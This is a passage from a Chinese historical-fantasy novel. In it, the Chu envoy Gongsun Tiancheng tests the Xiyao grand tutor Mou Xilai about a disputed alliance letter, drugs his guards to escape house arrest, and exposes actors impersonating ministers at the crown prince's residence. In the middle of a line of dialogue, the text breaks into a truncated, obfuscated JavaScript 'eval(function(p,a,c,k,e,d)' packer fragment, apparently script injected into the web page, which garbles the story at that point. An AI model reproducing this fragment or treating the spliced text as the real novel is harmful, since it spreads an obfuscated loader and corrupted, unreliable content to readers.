公孙天成想,若是现在直接说明自己的真实来意,未免显得突然,牟希来恐怕也难以接受,说不准就把他当成疯子或骗子。要用什么计策好呢?他足智多谋,略略一思量,就计上心来,隧朝牟希来一礼,将方才那番“商场”、“战场”、“盟友”、“敌人”的话又说了一遍。 牟希来拈须不语,显然是觉得这些理由虽然无懈可击,却也不足以说动他放弃西瑶对珍珠的垄断计划。 公孙天成这时就好像一个愿为国家鞠躬尽瘁的忠臣,为了民生社稷用尽自己的全力想要说服牟希来。他说到珍珠与采珠百姓的衣食住行,珍珠与国家的税收,又由税收说到官员的聘用,鳏寡孤独的奉养,寺庙和学堂的修建——总之是一句话:倘若西瑶垄断了卖往欧罗巴的珍珠,蓬莱国是采珠人就要无米下锅,国库收入会锐减,接着惠民属、善堂、义学都将无法维持,许多人会流离失所——西瑶是全民信佛之国,应当积德行善,怎能做此不义之举? “贵国尚有茶马生意,”他道,“而我国百姓十之八九捕渔采珠。每当六月采珠之时,海面上小船紧紧相挨,几乎连成一片浮岛——牟大人若见此景象,就知采珠对敝国有多么重要了。” 一番话说得情、理兼备。张夫人自幼看多了官员们的陈词辩论,虽然自己不能参与,却晓得分辨厉害的说客于笨拙的书生。她听出公孙天成必是此中行家,于是看了丈夫一眼,意思是:瞧见了没?还不学着点儿? 可是张至美满心只有戏文,人虽坐在房中,魂却早就不知道哪里去了。张夫人见了不禁直瞪眼。 “斌儿,”牟希来忽然道,“为父和这位公孙先生恐怕需要长谈。你还是陪着至美回后面读书去吧。” 张夫人怔了怔,才要问原因,张至美却已如蒙大赦,起身告退。张夫人也不便违抗父亲。于是夫妻双双离开。待他二人消失门外,牟希来就轻轻把两手一叉,沉着脸道:“你到底是什么人?” 公孙天成仿佛不明白似的望着他:“牟太师的意思是?” 牟希来一声冷笑:“采珠的季节是秋末冬初,天下各国皆是如此。你竟然说蓬莱国在六月采珠,可见满口胡言。你到底是什么人?混到老夫的家里有何企图?若不从实招来,老夫可要叫人将你拿下了。” 公孙天成不慌不忙,站起身来,向牟希来深深一礼道:“在下楚国使节,本该依规矩好生拜见太师,只因有情势特殊,不得已而出此下策,请太师见谅。” “楚人?”牟希来上下打量了他几眼,“究竟是什么情势?你们楚人来到我国一向不都是耀武扬威地以天朝上国之姿么?如今竟要冒充蓬莱国,低三下四?而既然要冒充蓬莱国,却连该国究竟是何都不仔细研究,莫非觉得我西瑶人都是蛮夷,所以很好哄骗?” 公孙天成垂着头,所以牟希来看不到他面上一闪即逝的微笑:他虽然对蓬莱国知之甚少,但却知道采珠的季节是秋末冬初,之所以要说六月采珠就是为了让这位老太师“识穿”自己的身份——他虽不曾入朝为官,但是早年在于适之身边看透了官场,后来游历四方经历了江湖,这几年走街串巷见识了市井,已练就看人的本领——牟希来这样的人,在“一人之下万人之上”的位子上坐久了,不免生了骄傲之心,觉得除了皇帝,没有一个人敢耍自己,也没有一个人耍得了自己。公孙天成今用此计,一方面让这位太师有机会显示他见识广博,在大国的钦差面前赚足了面子,另一方面,他“戳穿”了对手的假面,得意忘形,必然疏于追究到底对方为什么会如此容易就被自己识破——好比武夫动起手来,常有一方“卖个破绽”,对手急于进攻,最后就落进圈套中。 “怎么?”牟希来道,“尊使是楚国的钦差大臣,不屑答老夫的问题么?” “岂敢!”公孙天成道,“在下此来……”他顿了顿,放低了声音,道:“请问太师,太子殿下可回临渊了么?” 牟希来愣了愣:“太子殿下在萱懿山庄陪老太后,现在不在京城。” 公孙天成道:“不知太子殿下几时归来?” 牟希来道:“老太后几时痊愈,殿下就几时归来——尊使到底来我国有何贵干?一直要打听太子殿下的下落?” 公孙天成并不回答,只是笑道:“百善孝为先。太子殿下躬亲侍奉祖母,实在叫人敬佩。都是太师你教导有方啊!” 牟希来冷笑一声:“你到底有何企图还是明说的好,拐弯抹角的恭维老夫,老夫可不会上你的当——我西瑶朝中谁不知道老夫教导不力,太子成日流连风月之地?他日太子登基,若不能做个利国利民的好皇帝,老夫惟有一死以谢天下。” 公孙天成就是想试试他是否知道结盟之事,听他这样说话,仿佛对段氏在北方的作为一无所知。不过也不敢太快下结论,就又进一步试探道:“太师过谦了,太子殿下心系社稷,为国奔波,而且既通观大局又足智多谋,实在是难得的治国之才呀!” 牟希来瞥了他一眼:“尊使是在讽刺老夫么?” 公孙天成仔细审视他的眼神,并不像是在作假——如果段青锋意在让楚、樾两国使节同来临渊,而牟希来又参与此事,他见到楚国使节决不应该是如此反应。看来他对此事的确是一无所知的。段青锋为何要瞒着老师呢?是了,这牟希来也是死去段青铮的老师啊! 在一个朝廷中,倘若储君之外还有其他王子,就会形成“太子党”和“亲王党”——并不是说太子和其他的皇子间一定要有矛盾,两党的形成完全是因为个人为着自己的利益打算,选择了不同的主子——通常位高权重的大臣和出身显贵的世家子弟是太子党,而出身低微有野心有本领却不得志的人就集结在其他皇子身边形成亲王党。太子党的人只要等到太子登基,他们也就顺理成章的继续飞黄腾达下去,自父及子,万世不绝。而亲王党的人如果走正途,恐怕永无出头之日,只有剑走偏锋棋行险着,希冀朝廷的权力分配来的大变动——比如太子突然被废,他们就能顷刻翻身。当然,废太子党也不会闲着,双方定有一场恶斗。这几乎可以说是被历史无数次证明了的公理。 段青铮突然死亡,而一向被视为妖孽的段青锋一夜之间成为王位的唯一继承人,分析这些怪事,西瑶朝中明里暗里太子党和亲王党之间有过怎样的争斗,不难想象。公孙天成暗暗一笑:这条权势争夺的公理,放之四海而皆准,现在储位易主,原来段青锋身边的人必然欣喜若狂,只等他登上王位便可要风得风,要雨得雨;而原来段青铮身边的人,除非选择投靠新储君,否则只有死路一条。牟希来看来和段青铮情谊颇厚,而和段青锋之是挂名师生,他怀念故人而抵制新主。段青锋多半是弑兄篡位,对于兄长的旧臣自然存了七分戒心,他这样一个连横合纵的大计划,自然不能叫对头知道。 符雅说过,牟太师是西瑶朝中地位最高的大臣,朝中文官多是他的门生,若能争取到他,就等于争取到了半个西瑶。公孙天成因拱了拱手,道:“在下岂敢说反话讽刺太师?在下有幸在凉城与太子殿下会面,他文韬武略,足智多谋,实在让在下佩服万分。” 这句话还的措辞很谨慎的——并不提结盟之事,最后再试探牟希来一次。 牟希来皱起眉头:“你满口胡说些什么?太子殿下如何同你在凉城见面?他又有什么文韬武略?” 听他此语,公孙天成一发确定自己的猜测了,道:“太师何出此言?太子殿下奉了贵国皇帝之命来与我国结盟。他亲自与我国大学士程亦风程大人商定结盟条件,白纸黑字写了下来——难道有人冒充太子不成?” 牟希来果然一怔,但又冷笑道:“胡说八道,怎么可能有如此荒谬之事!” 公孙天成道:“太师,你这话是何意思?盟书还在老朽手中,哪里荒谬了?”说时,自怀中将那卷帛书取了出来,交到牟希来的手中。 牟希来见他言之凿凿,将信将疑,把那帛书展开来看,面色陡然一变,旋即又斥道:“这决不是太子殿下写的,也不是我西瑶朝廷任何一个官员的手笔。” 公孙天成本也就没有指望他会一口承认,因道:“哦?太师如何确定?” 牟希来道:“朝廷文书必要正楷书写。我国所有朝廷书记官都临《玄秘塔碑》,务求写出来的字整齐划一,辨别不出究竟出自何人之手。写这篇所谓的盟书的,虽然字形是正楷,但骨子里却是行草,轻浮得很,所以必不是出于我朝。” 公孙天虽然精通琴棋书画、五行八卦,但最重还是经济之学,对着些难以治世的玩意儿并不十分痴迷,所以虽然将盟书看了许多遍,倒不曾留意书法。此时听牟希来一言,再仔细看看,果不其然。 只是天下人写字,即使临同一本帖子,写出来的还是各有各的脾性,怎么可能个个和《玄秘塔碑》完全相同,仿佛都出于柳河东之手?牟希来这一辩未免牵强。况且,云蚕丝帛、曼佗罗香墨,这些都是西瑶禁宫之物,符雅能识得,牟希来自然更加一眼就认出。这个还能赖得掉么?就算不是正式的朝廷文书,那也总是朝廷里来的。 “太师认得太子殿下的字么?”公孙天成问。 牟希来道:“自然认得。但这也不是太子殿下的字。” 公孙天成道:“那这个呢?”他取出了段青锋留给程亦风的那封信:“当日这位自称是贵国太子的青年来拜访程大人,留下盟书要大人呈交朝廷。次日大人去寻他,就得了这封信。” 牟希来展开看了一眼,面是立刻显出了既尴尬又恼怒的神气。这表情已经出卖了他的心思。公孙天成看他还如何推托。 “这又是什么人,如此胆大包天厚颜无耻?”牟希来骂道,“他模仿太子的笔迹倒惟妙惟肖,不过太子纵然荒唐,却没有断袖之癖,他决不可能给你们程大人写这样的书信。” “太师不必动怒。”公孙天成道,“我们程大人也没有那龙阳之好。他看这两段诗经再一联系那盟书,便知道是太子殿下邀他亲到临渊来结盟。只是他事务繁忙,无法离开楚国,所以就派在下前来。” 牟希来将书信、盟书都还给公孙天成:“程大人高才,老朽可看不出这封无耻的信有什么玄机。既然连这盟书都是假的,这封信究竟是何意思也就难以考证。让尊使白跑了一趟,实在是抱歉。” 公孙天成本想说“这青年有一双绿眼”,但是转念一虑:这牟太师和段青锋的关系似乎非常之差,如果一味地强调段氏的结盟意图,只会使人家愈发反感——就看现在牟太师如此态度,实在也有些蹊跷——作为一国之重臣,首先考虑的应该是国家之利益,而不是私人之恩怨。本来高高在上的楚国纡尊降贵来请求结盟,此举已经暗示了承认西瑶独立,那盟书上的条件又如此优厚,按理牟太师应该抓住机会好好考虑才是,他却这样抵触…… 须得试他一试。公孙天成因道:“怎么会白跑呢?至少见识了沿途的风土人情,又得以拜见太师。至于这结盟之事……唉,也怪我们事先没有彻查,看到盟书就信以为真,两殿六部都议论过了,监国太子也用了印,这笑话可……不知太师以为,什么人会有这样大的胆子?又会不会是贵国朝中当真有人想和我国结盟,所以就借太子之名呢?”边说边留心牟希来的表情。 牟希来只是皱着眉头,似乎正考虑着别的什么要紧之事,过了片刻才答道:“老夫不知此为何人之所为。不过,我国有‘不参战,不结盟’的国策,决不可能出兵介入贵国和樾国之间的争斗。所以这事,不会是我国朝中任何人做的。” 不参战,不结盟?公孙天成万没有想到会有如此奇怪的理由,如此荒唐的国策:天下扰扰,哪个国家可以独善其身? 牟希来见他惊诧的表情,道:“怎么,这国策有何奇怪之处?你们就只晓得连横合纵,东征西讨,我西瑶举国上下却更爱安居乐业。管你们如何争斗,我们只做我们的生意。永远中立。” “安居乐业?试问天下百姓谁人不想?”公孙天成道,“不过,你不犯人,怎知人也不犯你?目下樾国急速扩张,玉旒云狼子野心,恨不得一天之内就灭了我楚国。到那时侯,唇亡齿寒,太师不担心她又挥师南下,进攻西瑶吗?” 牟希来略一愣,道:“这是我们西瑶的事,还用不着你们楚人来操心。尊使莫非是想老夫将错就错,禀奏皇上签了这盟书么?连国策都违背,那国家还成何国家?老夫决不做这祸国殃民之事!” 这句话说的哪里像是辩论?简直如同小孩子吵架词穷时的意气之言——决不是一国太师应该说的。公孙天成不禁一皱眉:莫非西瑶早已经和樾人有约在先? 事态顷刻间变得有如迷雾一般:段青锋和牟希来究竟有没有矛盾?是他们分别和樾人联络,还是根本从一开始就是同一任务?玉旒云是谁请来的? 越是千头万绪,就越是能显出人的本事。公孙天成的思绪只是稍稍混乱了刹那,就又清晰了起来:第一,段青锋在凉城企图掩护玉旒云,所以玉旒云一定是他请的。第二,段青锋的确是向程亦风发出了邀请,所以,让两国使节同时来到西瑶必然是段氏之计划。第三,假如牟希来和段氏假装有矛盾而实际合作无间,则应该明白楚、樾两国使节同时出现在临渊的意义——鹬蚌相争,渔翁得利。则牟希来应该设法安抚公孙天成,而不是一口回绝结盟的要求。况且,牟希来由始至终都有掩饰不住的惊愕,可见对段氏计划一无所知。因此,如果西瑶有另外一个集团想和樾国结盟,他们的行动和段青锋的计划是无关的。而牟希来和段青锋的关系也应该是真的不融洽。那么,现在他知道了段青锋背着他做的事,会如何? 一步一步地推测到了这一条上,公孙天成只觉豁然开朗:段青锋这个年轻人爱戏成痴,入戏太深,以为只要本子写得巧妙,世上的一切都可以按照他所写的来发展。在临渊这样一个小小的戏台上,他竟企图把当今天下几乎所有的名角儿都请来,唱一出惊心动魄的大戏。殊不知戏写得再高明,也控制不了戏子的心思。只要有一个戏子决心不再按照预定继续下去,整的戏就要面目全非。他的这出戏,恐怕没有一个戏子会真正做他的牵线木偶! 好!很好!公孙天成暗笑:本来我为鹬蚌,彼为渔翁,如今风水轮流转,可要调转过来了! 想着,他对牟希来道:“太师说的也有道理,结盟和联姻都贵在两相情愿。既然贵国有国策祖训,我国又怎能勉强?何况这事开头就是一场误会。在下回到凉城,一定据实禀奏圣上,另外彻查究竟。” 牟希来道:“如此甚好,只是麻烦尊使。”见到公孙天成似乎有就此告辞的意思,却又挽留道:“尊使既然来到我国,老夫该一尽地主之谊。尊使不如就留在寒舍,先事休息再回国不迟。” 这葫芦里又是卖的什么药?公孙天成虽然急着要去布置下一步的行动,却也不敢推辞。只道:“太师盛情,却之不恭。” 牟希来对他的招待有如上宾,张至美这糊涂虫还以为公孙天成当真只凭三寸不烂之舌用些天花乱坠之言把自己的泰山大人糊弄住了,对他佩服的五体投地。而张夫人见父亲如此款待公孙天成,也觉得这个“蓬莱国使者”不简单,因而并不反对丈夫和其人交往。张至美喜不自禁,次日一早就来找公孙天成结拜兄弟。公孙天成虽然心中觉得好笑,不过以为这痴痴傻傻的公子哥儿还可利用,就同他跪拜天地义结金兰。张至美送他一个碧玉扳指为礼,公孙天成身无长物,就道:“不如老哥哥我作首诗来纪念今日吧,希望贤弟不要笑话。” 张至美道:“我怎么敢笑话大哥?是大哥别笑小弟的礼物俗气才是——对了,大哥说在蓬莱国也看过太子殿下的诗,你喜欢他的哪一首?” 这可把公孙天成给问住了:“不知贤弟喜欢哪一首?” 张至美道:“只要是殿下写的,小弟都读得滚瓜烂熟。要知旁人写诗填词,或者婉约,或者豪放,偶尔两者兼有的,还是以一家见长。而太子殿下婉约时柔肠百转,豪放时气势干云,写应制诗能不失规矩,而作打油诗讽刺世俗又辛辣犀利,实在是非常人所能及啊!”说着,就滔滔不绝地背了十来首。 公孙天成只随口附和着赞了几句,就问:“太子如此喜好诗文,平素可结交了许多文人雅士么?” 张至美摇摇头:“太子殿下傲视天下,如何看得起书生?他曾说天下无人能做他的知音,所以他只交两种朋友——其一是床榻上的朋友,就是那各地的歌妓舞娘,其二就是酒桌上的朋友,乃是一群喜爱喝酒又会行各种酒令的子弟。” 以一人之力何能做今日之事?这群所谓的酒肉朋友应该就是段青锋的党羽了,也许可以打探打探段氏下一步的计划。因笑道:“张贤弟如此崇拜太子,做床榻上的朋友却是不可能的,大概可以做酒肉朋友?” 张至美遗憾的一笑:“我还没那个福分。太子殿下挑朋友的标准谁也摸不透——要是能知道他喜欢和什么人一起喝酒,我早就挖空心思变成那样的人了。” “这话怎讲?” “太子殿下的酒友无奇不有。”张至美回答,“有做官的,也有做乞丐的,有出身显赫的,也有不名一文的,有说话文雅的,也有脏话不离口的,有千杯不醉的,还有一口就倒的——不知他和这没酒量的人一起喝酒有什么乐趣。反正,这些人各各不同,想不透为什么他们就能和太子殿下称兄道弟,而最奇怪的是,其他还有跟他们差不多的人,殿下却连看也不看一眼。” “哦?”公孙天成理会得其中的奥妙——张至美所看到的不过是其表面而已。“张贤弟要做乞丐怕是很困难,做官倒是近水楼台——不知太子殿下结交的是些什么官员?” “文官里有户部侍郎柳成舟、兵部侍郎华其书、工部侍郎汪必达和礼部侍郎关和。武将中有水师白龙营督统梁鼎和黑龙营督统姚益。”张至美对段青锋的事了如指掌,又接着把这几个人各是什么出身,行为举止有何特点,平素又有什么嗜好一一都跟公孙天成说了——果然不出公孙天成的所料,这些原该属于“亲王党”的人,除了姚益出身名门之外,其他都是庶民。 “他们平时也去绿窗小筑看太子演戏么?” “怎么不去?”张至美道,“他们有时还陪着太子演戏呢。这几个人也几乎和太子一样,几乎都以绿窗小筑为家,幸亏他们都未娶妻,否则家里还不醋海波澜翻了天?哎呀——莫非太子只和没娶妻的人结交?那我可怎么办?” 这人崇拜段青锋都快成痴了!公孙天成忍住笑,道:“我看是凑巧罢了。哥哥我别的本事没有,看人的本领多年来却练就了。贤弟若是不弃,就带哥哥去见识见识这些个酒肉朋友,或许哥哥能看出什么门道来帮助贤弟,不知你意下如何?” 张至美一听,眼睛都要发出光来:“妙极!妙极!咱们这就上绿窗小筑去!”说时就整理衣衫和公孙天成出门。 只是二人才走到花园中时,就见牟希来和好几个老者沿着小径迤俪而来,看到他们就招手道:“哎呀,尊使!老夫正要去请你——来,来,来,我同你引见这几位大人。”话音落时已到了跟前,介绍身后吏、户、礼、刑、工五部尚书。“原本要把兵部的卓尚书也请来一聚,”牟希来解释道,“不过他却出门去了,实在是不巧,尊使可是难得来到我国一回……” 公孙天成打着哈哈:“有礼有礼。叫这么多位大人专程跑一趟,实在折杀在下了。” 那些官员也都笑,说“哪里哪里”。 才客套着,那边又过来了三个人。当先的两个年纪虽然也有五六十,但是走路昂首挺胸,可见身板硬朗,一望而知就是武将。到得跟前,牟希来一介绍,果然是水师提督和步兵将军,也是特地来“拜会尊使”的。 而后面跟着的那个较年轻的看来就不像是个有来头的人物,牟希来也只是问他道:“怎样?萱懿山庄那里是什么个情形?太子殿下在么?” 那人回答:“在。”抬眼看了众人一下,又补充道:“小人亲见太子殿下在萱懿山庄中。正在排演傩戏呢!” “傩戏?”一个官员问道,“那就是戴着面具了?怎么就知道那是太子?” 这人回答:“起先是戴着的,后来卓大人来了,找太子殿下商量祭祀晋王的事。殿下当然就把面具拿下来了。小人可看得真切。” 牟希来似乎是不经意地瞥了公孙天成一眼,又追问道:“你当真看清楚了?太子殿下身边养的那群戏子可不简单,上次扮皇上把咱们一群半截入土的老人吓得差点儿全都归了西,这一次……” “大人放心。小人虽然没有十足的把握来拍胸脯,可是卓大人还能认错么?” “这倒是……”牟希来似乎还有疑虑要征求人意见似的,又转过脸来看公孙天成。 他女婿张至美摸不着头脑道:“各位大人,你们在说什么呀?” 公孙天成却早就看透:牟希来是找了这群人做场戏来安抚自己呢!西瑶虽不想和楚人结盟,却也不想和楚人结怨,否则兵戎相见可就麻烦——如此好好的招待了一番,得文武要员嘘寒问暖,公孙天成就不至于满腹怨气回凉城和楚王诉苦。现在又找人证明段青锋确在萱懿山庄,意思无非是:之前递盟书之事纯属旁人恶作剧,和西瑶半点关系也没有。 原来全西瑶的人都喜欢做戏!公孙天成暗笑,但转念一想,其实权利场中谁人不在演戏?只不过有高明的,也有拙劣的。段青锋本事虽还不错,但太过自大。其他的这些人,实在是三流水准。 他不可察觉的一笑,道:“太师是专程派人去萱懿山庄的么?何必如此麻烦。” 牟希来道:“不麻烦,不麻烦。毕竟尊使远道而来,这件事不查清楚谁也不好交代。老夫昨夜前思后想,觉得还是上萱懿山庄查一查好。若真的是敝国的过失,自然要向尊使当面请罪,还要写一封请罪信给贵国皇上,若然不是……” “呵呵,”公孙天成不待他说完,就笑道,“太师还说什么‘若然’?现在都查清楚了,自然不关贵国的事——其实不瞒太师,在下昨夜也确实心存疑虑,如今却全然打消了。这就回国去禀奏圣上,彻查此事。” “消除了误会最好。”牟希来道,“不过尊使也不必急着走。难得到西瑶来一趟,我们无论如何都该尽些地主之谊。如今天下还算太平,尊使若没有要紧的事,不妨就在老夫家里多盘亘几日。还有老夫这个不成材的女婿,和尊使倒是非常投缘,尊使不弃,替老夫开导开导他,如何?” 听了这话,公孙天成不由一愣:虽然完全是客套,语气也只是淡然,可眼神却是命令的,不容人反对:这如何是场面上的留客?这是要把他软禁起来呢,原来这个牟希来也不简单!这一招既可将他作为献给樾人的一份礼,又可用做煞段青锋锐气的工具,即使用不上,也不叫他破坏西瑶的计划,将来纵放回了楚国去,享受了好吃好住前呼后拥,也抱怨不出个所以然来。这真是进可攻,退可守,狡诈异常。 不过,既已看穿,岂有被人玩弄于股掌的道理?谋臣斗智,能棋逢对手也是一种乐趣。公孙天成便露出了些为难的表情——仿佛是要开口婉拒,但又害怕惹来杀身之祸,如肉在砧板上,由不得自主了,最终,勉强地点了点头,道:“那……在下只有叨扰了。” 事情果然如公孙天成所料,一连三天,白日里张至美缠着他问东问西,夜晚就有卫兵在他的房间四周巡逻,生怕他能插翅而飞。而牟希来就天天和一些大臣在书房里聚首商议——可见那什么段青锋身在萱懿山庄的事是假的,他们连段青锋的影子也没见到,这群人推测出太子必然是背着他们北上游说去了,自己的计划被打乱,急得快把胡子都要揪光了。 公孙天成暗暗发笑,却不着急:反正他下一步的计划是要去见段青锋,而段氏既然精心筹划了这一出戏,在不等所有的戏子到齐之前是不会鸣锣开演的。只是,也不能老耽搁着,还是得早去太子府,以防节外生枝。 这脱身之法,还得从书呆子张至美身上寻。于是就怂恿张至美一起到绿窗小筑去。 这傻子听了连连摇头:“公孙兄,你就别招我了。没看这两天我娘子为了叫我在家里好好读书,让岳父大人派了这许多士兵看守?上次在绿窗小筑被她抓到,肯定把她气坏了。我看还是等风头过去了……再说,现在太子殿下也还没回来呢。” 公孙天成道:“不是想在那《彼岸花》中争个一席之地么?等太子回来了,戏都开演了,哪还来得及?许多事,是可遇而不可求,一辈子说不定就这一次呢!” 他这样一说,张至美真是心痒难熬:“可是……叫夫人和岳父大人知道了,那就……” “为何要叫他们知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张至美没心机,见他给自己斟茶,就端起来喝了,觉得苦中有甘,清凉无比。公孙天成也陪了一杯。饮罢,又给张至美斟满。两人就这样你来我往,没多久,就将一整壶药茶喝光了。 这时张至美只觉得肚子鼓胀,想去茅房,但一看那十来个士兵,个个晃悠悠摇摇欲倒。他才要惊呼,便有四五个士兵“咕咚咕咚”栽了下去。“哎呀,公孙兄,这是……”话还未说完,剩下的几个也淅沥哗啦全都躺倒。“这……这……”张至美面无人色,“公孙兄……他们死了么?这……” 公孙天成道:“放心,只是睡着了,不到明天中午醒不过来,咱们足可以溜去绿窗小筑了。” “睡着?”张至美还不信,跑到一个士兵跟前试了试鼻息,果然不假,才问:“怎么就睡着了?莫非戏里说的‘催眠妖法’是真的?” 公孙天成一壁拉了他快速步出后门一壁道:“什么催眠妖法?我不过是把胡蔓草放在香炉里烧了。那烟会使人昏睡,而绿豆、金银花和甘草所煎之汤可以解毒。我请他们喝,他们都不肯,这就是自作自受啦!” 张至美才也明白了个中奥妙,佩服无比:“先生满腹学问,要是来写戏一定精彩绝伦。” 公孙天成道:“说起来老哥哥我的确也有些拙作,不过都还留在客栈里。张贤弟如果想看,我这就去拿,我俩稍后在绿窗小筑碰面,如何?” 张至美当然不疑有他,一口答应,两人就此告别——他这以后自然到绿窗小筑空等一场,灰溜溜回到太师府时,牟希来早就发觉了士兵被公孙天成毒倒,暴跳如雷,吩咐人立刻去捉拿公孙天成回来的同时,也还要腾出嘴来痛骂女婿一顿。而张至美到那时还以为公孙天成只是蓬莱国的乐官,回客栈取东西耽搁了——要不就是迷了路,完全不明白岳父大人为何要骂自己。牟希来问到他,公孙天成去的是哪间客栈。他又浑然不知。这太师岳父自然只会更加把女婿骂个狗血淋头。 公孙天成自是看不到这些的,也毫不关心。他到客栈找到了自己同来的随从,立刻就赶去了太子府。直接递上了盟书和楚国钦差使者文牒,守卫通报进去,未己,就有一个太监迎了出来道:“奴才张郁德,是此间总管,尊使是一个人么?怎么不见程亦风程大人?” 公孙天成道:“程大人日理万机,脱不开身。请问太子殿下何在?” 张郁德道:“孝文老太后欠安,太子殿下到萱懿山庄去了。” “哦?几时回来?” “总要两三日吧。” 段青锋比公孙天成早离开凉城,就算不比他早到,这两日也应该回到西瑶的。为着牟希来大张旗鼓地搜寻,他躲起来并不奇怪,如今公孙天成上门他也不露面,只有一个原因——玉旒云还没到。鹬蚌才具其一,渔翁自然不便出场,否则不是被鹬啄了,就是被蚌夹了,是折本的生意。 公孙天成暗想:好,老夫就休息休息,等着看你塌台。 张郁德殷勤地将公孙天成安排在了整座太子府最幽静的一处院落,月门上一块匾额,写着“非人间”三个字。领路的太监解释说:“这儿原来叫养元居,是太子殿下才改的。先生别以为不吉利,其实……反正太子说里面学问很大,是好话。”公孙天成早已看出是出自谪仙诗“桃花流水窅然去,别有天地非人间”,这其中的意味可与知者道,难与俗人言。他当然也就笑笑:“明白了。” 不过真的明白这“非人间”的意思还在这以后的几天——要吃什么、喝什么,太监们都照顾周全,有书看,有琴弹,简直就像是一个荣归故里安享天年的官员,换了旁人可能都乐不思蜀了,但他感觉段青锋仿佛就是要消磨他的警觉似的,因此片刻也不松懈,时时向太监们打听:“老太后好些了没?太子殿下几时回来?”所得到的答案无非是“已着人去问了”“老太后还没大好”“就快了”之类,直到第七天,才见张郁德亲自来道:“殿下知道先生还要赶回去向程大人复命,他一时还不能离开萱懿山庄,所以特地叫奴才来跟先生赔个罪。不过,他已找来了六部尚书和水军、步兵将军,先行同先生商量结盟的细节。先生意下如何?” 六部尚书?水军、步兵将军?公孙天成心中奇怪:这些不都是牟希来的人么?但口里却道:“自然是好的。这些大人们在何处?” 张欲德道:“在妙粹阁中,奴才给先生带路。” 公孙天成道:“有劳公公。”便跟张郁德来到了妙粹阁的二楼,挑起了一幅色彩斑斓的门帘,看到房内五文五武十个大臣,都是三、四十岁的年纪,没一个面善的。那些大臣们见了他,则都从座位上站了起来,文官们一一自我介绍,是吏、户、礼、刑、工五部尚书,武将们也自报家门,有水师的提督、副提督,步军的将军和蚩尤营督统,另一位,自称是兵部尚书兼天下兵马大元帅卓思远。 公孙天成看着这些人——五部尚书、水师提督和步军将军他都在牟希来家里见过,如何是这副模样?究竟是牟希来找了些人来蒙自己,还是段青锋的好戏开演?他假做不经意地多看了那自称卓思远的人一眼:符雅说过,姓卓的是西瑶著名的美男子。可眼前的这个人虽然国字脸,卧蚕眉,仿佛很有官威的样子,和“美男子”还沾不上边,就是草包张至美也要比他俊秀些。 就算牟希来引见的官员不一定是真的,但现在妙粹阁里的这一批必然是假的。 段青锋终于开锣了呀!公孙天成暗暗一笑:这么多天也等了,不可能真是因为自己问个没完就特地找群人来敷衍他。这出戏应该不是为他而演,而是找了他一同演给别人看的——玉旒云已经到了!大青河战场上,她是他的手下败将,如今,要再给这黄毛丫头一点颜色看! 当下,他敛容正色,和各位“官员”见了礼,取出了盟书来,道:“贵国太子殿下向我国皇帝陛下所呈之盟书在此,老朽奉圣上和监国太子殿下之旨前来议盟,诸位大人若有任何疑问,老朽定当竭尽所能回答。” “好。”那个自称卓思远的人道,“吾等有诸多问题要请教先生呢——张公公,烦你让人在外头守着,不可打搅,我们这一议还不知要到何时。” 张郁德唯唯答应,退了出去。而这些所谓的官员也就开始向公孙天成轮番发问。 他们虽然只是假扮的,可是,说起天下形势内忧外患来竟也头头是道,有的关心楚国和西瑶的关系,有的则咬住楚国所承诺的赈灾粮食不放,文官们各各都出口成章,而且起承转合,引经据典;武将们虽然少了些文绉绉,却一针见血,切中肯綮。公孙天成和他们舌战,竟也不轻松。一直说了大概一个时辰,竟然在口舌上占不了这些戏子的上风,不由暗暗心惊。 不过这时候就听到外面一阵脚步声,张郁德在帘子外说道:“公孙先生,诸位大人,天也不早了,要不,还是明天再谈吧?” 那些人相互望了一眼,再看看四周,果然已经相当昏暗了。一个道:“要不叫掌灯吧,弄些茶点来,接着再议。” 张郁德道:“还议?把公孙先生累坏了可不好——方才萱懿山庄有信来,说太子殿下明日就回来了。不如让公孙先生好好休息一晚,明日诸位大人和太子殿下一同再来商议大事,如何?” “这样?”那些人又相互望了一眼,“也好吧——公孙先生,那我们就明日再见。”说罢,一个个拱手告辞。 公孙天成假装目送,实际是注意着他们是否和张郁德交换什么信息——他看到那假冒卓思远的朝张郁德侧了侧头,这总管太监便轻轻一颔首,仿佛是说:一切都照原计划进行。 公孙天成低下头去,佯装收拾盟书,什么也没有看见。直等张郁德来叫他:“公孙先生,回去用晚膳吧?”他才仿佛心事重重地道:“太子殿下真的明日就回来么?明明是他请我们来结盟的,实在不明白贵国的这些官员为何有诸多刁难,要是无心结盟,老朽明日也不必见太子了,直接北归就好。” 张郁德道:“先生千万不要动怒……这些大人们也都是慎重起见。最后说话的还得是太子殿下和皇上嘛。” 公孙天成冷笑:“但愿如此——张公公,我也没什么胃口。不必送饭来了。” 张郁德一怔:“这……这怎么成呢……”可是公孙天成甩开步子下楼去,一径走回了“非人间”就闭门不出,他也无法,只好叹了口气,转身离去。 看他走远,公孙天成就迅速地和随从换上了前几日便偷藏起来的太监衣服,跟在后面出门。穿过暮色里看来仿佛是黑色的石蒜花之海,一直走到了前庭,见那几个假冒的官员也在。那假冒卓思远的道:“张总管,如何?” 张郁德道:“你们这些人嘴巴忒也厉害,把那老家伙气得半死,连晚饭也不吃了,闭门不出呢——你们快去绿窗小筑见太子吧。我还回头安抚安抚老家伙去。” 那些人虽然打扮还和方才一样,可是神情已没有半分官威,都跟张郁德嬉皮笑脸,道:“咱们的嘴巴算什么?还不都靠张总管给咱们发银子才有饭吃?” 张郁德瞪他们一眼道:“夸几句你们就骨头轻了?小心耽误了事殿下怪罪下来,杂家也保不住你们,还不走?” 那些人有些得意忘形,嘻嘻哈哈地围着张郁德说笑个没完。公孙天成看此大好时机,立刻招呼随从,隐身在廊檐的阴影里快步走出了太子府。 一刻也不耽搁,直跑出了两三条街,才驻足歇息。公孙天成就把张至美送的扳指交给随从,道:“你立刻拿这个就到牟希来牟太师的府上去,找他的女婿张至美张公子,就说,我已经在绿窗小筑见到太子殿下了,今日有好戏,让他务必来看——记住,不要说给门子听,一定要带你进去见到了张公子才说。” 那人也不多问,点头就去——公孙天成当日挑他做随从,就是看中这一点。于是,自己也即刻赶去绿窗小筑。 那随从气喘吁吁地一路打听奔到太师府,敲门求见张至美公子,且不见他本人就不说来意。门子见他古怪,又是外地口音,立刻就飞跑去报告了牟希来。 老太师正为跑脱了公孙天成的事坐立不安,风声鹤唳,草木皆兵。听了回报,叫家丁卫兵“立刻将人拿来”。 